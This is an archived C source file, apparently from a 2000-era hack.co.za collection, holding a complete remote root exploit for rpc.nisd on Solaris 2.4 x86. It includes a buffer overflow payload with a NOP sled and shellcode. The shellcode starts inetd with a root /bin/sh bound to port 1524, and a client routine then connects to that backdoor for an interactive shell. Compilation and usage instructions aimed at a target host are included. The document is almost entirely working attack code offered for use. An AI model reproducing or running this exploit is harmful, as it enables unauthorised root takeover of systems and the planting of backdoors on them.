home *** CD-ROM | disk | FTP | other *** search
- /* PRIVATE. DO NOT DISTRIBUTE. */
- /*
- rpc.nisd remote root overflow, solaris 2.4 x86 (not SPARC yet)
- by anathema <anathema@hack.co.za>
- */
- /*
- compilation (solaris):
- $ gcc -o nisd nisd.c -lsocket -lnsl -lrpcsvc
- usage example:
- $ ./nisd host.to.own.com [offset]
-
- Default addr (0x80476c0) tested against rpc.nisd distributed with
- Solaris 2.4 (SunOS 5.4). This exploit will probably work against
- Solaris 2.5.0 and 2.5.1 with a different offset, experiment.
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <string.h>
- #include <ctype.h>
- #include <memory.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/time.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <rpc/rpc.h>
- #include <rpcsvc/nis.h>
- /* #include <rpcsvc/nis_object.h> */
-
- #define RET 348
- #define ADDR 0x80476c0 /* sol 2.4 */
-
- #define PROG 100300
- #define VERS 3
- #define PROC 22
-
- char c0de[] =
- "\xeb\x3d\x9a\x24\x24\x24\x24\x07\x24\xc3\x5e\x29\xc0\x89\x46\xbf\x88\x46\xc4"
- "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56\x8d\x5e\x10"
- "\x89\x1e\x53\x8d\x5e\x18\x89\x5e\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xc6"
- "\xff\xff\xff\xff\xff\xff\xe8\xc6\xff\xff\xff\x01\x01\x01\x01\x02\x02\x02\x02"
- "\x03\x03\x03\x03\x04\x04\x04\x04"
- "\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20"
- "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/bleh;"
- "/usr/sbin/inetd -s /tmp/bleh;/bin/rm -f /tmp/bleh";
-
- u_long
- resolve_host(u_char *host)
- {
- struct in_addr addr;
- struct hostent *host_ent;
-
- addr.s_addr = inet_addr(host);
- if (addr.s_addr == -1)
- {
- host_ent = gethostbyname(host);
- if (!host_ent) return(0);
- memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
- }
-
- return(addr.s_addr);
- }
-
- bool_t
- xdr_nis_name(register XDR *xdrs, nis_name *objp)
- {
- register long *buf;
-
- if (!xdr_string(xdrs, objp, ~0)) return (FALSE);
- else return(TRUE);
- }
-
- bool_t
- xdr_nis_error(register XDR *xdrs, nis_error *objp)
- {
- register long *buf;
-
- if (!xdr_enum(xdrs, (enum_t *)objp)) return(FALSE);
- else return(TRUE);
- }
-
- void
- shellz(u_long dst_ip)
- {
- struct sockaddr_in sin;
- u_char sock_buf[4096];
- fd_set fds;
- int sock;
-
- sleep(2);
- sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sock == -1)
- {
- perror("socket allocation");
- exit(-1);
- }
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons(1524);
- sin.sin_addr.s_addr = dst_ip;
-
- if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
- {
- perror("connecting to backdoor");
- exit(-1);
- }
-
- fprintf(stderr, "owned\n");
- write(sock, "id; uname -a; cd /;\n", 20);
- for (;;)
- {
- FD_ZERO(&fds);
- FD_SET(0, &fds); /* STDIN_FILENO */
- FD_SET(sock, &fds);
-
- if (select(255, &fds, NULL, NULL, NULL) == -1)
- {
- perror("select");
- exit(-1);
- }
-
- memset(sock_buf, 0, sizeof(sock_buf));
-
- if (FD_ISSET(sock, &fds))
- {
- if (recv(sock, sock_buf, sizeof(sock_buf) - 1, 0) == -1)
- {
- fprintf(stderr, "Connection closed by foreign host.\n");
- exit(0);
- }
- fprintf(stderr, "%s", sock_buf);
- }
-
- if (FD_ISSET(0, &fds))
- {
- read(0, sock_buf, sizeof(sock_buf) - 1);
- write(sock, sock_buf, strlen(sock_buf));
- }
- }
-
- /* NOTREACHED */
- }
-
- void
- exploit(u_long dst_ip, u_char *buf)
- {
- struct sockaddr_in sin;
- struct timeval time_val;
- int sock = RPC_ANYSOCK;
- nis_error nis_err;
- CLIENT *clnt;
-
- time_val.tv_usec = 0;
- time_val.tv_sec = 10;
-
- sin.sin_family = AF_INET;
- sin.sin_port = 0;
- sin.sin_addr.s_addr = dst_ip;
-
- clnt = clntudp_create(&sin, PROG, VERS, time_val, &sock);
- if (!clnt)
- {
- fprintf(stderr, "err: clntudp_create(): is host running rpc.nisd?\n");
- exit(-1);
- }
- /*
- * Standard AUTH_UNIX authentication.
- */
- clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
-
- if (clnt_call(clnt, PROC, (xdrproc_t)xdr_nis_name, (caddr_t)&buf,
- (xdrproc_t)xdr_nis_error, (caddr_t)&nis_err, time_val)
- != RPC_SUCCESS)
- {
- clnt_destroy(clnt);
- shellz(dst_ip);
- }
-
- fprintf(stderr, "clnt_call() succeeded: patched nisd?.\n");
- clnt_destroy(clnt);
- exit(0);
- }
-
- void
- usage(u_char *argv0)
- {
- fprintf(stderr, "usage: %s dst_host|ip [offset]\n", argv0);
- exit(-1);
- }
-
- int
- main(int argc, char **argv)
- {
- u_long dst_ip = 0;
- u_char buf[4096] = {0};
- u_long addr = ADDR;
- int ret = RET, i = 0, j = 0;
-
- if (argc != 2 && argc != 3)
- {
- usage(argv[0]);
- /* NOTREACHED */
- }
-
- dst_ip = resolve_host(argv[1]);
- if (!dst_ip)
- {
- fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
- exit(-1);
- }
-
- if (argc > 2) addr += atoi(argv[2]);
- fprintf(stderr, "addr 0x%lx\n", addr);
-
- memset(buf, 0x90, ret);
- for (i=(ret-strlen(c0de)); i < ret; j++, i++) buf[i] = c0de[j];
- for (; i < (ret + 1024); i += 4)
- {
- buf[i+0] = (addr & 0x000000ff);
- buf[i+1] = (addr & 0x0000ff00) >> 8;
- buf[i+2] = (addr & 0x00ff0000) >> 16;
- buf[i+3] = (addr & 0xff000000) >> 24;
- }
-
- exploit(dst_ip, buf);
- /* NOTREACHED */
- }
-
-
- /* www.hack.co.za [2000]*/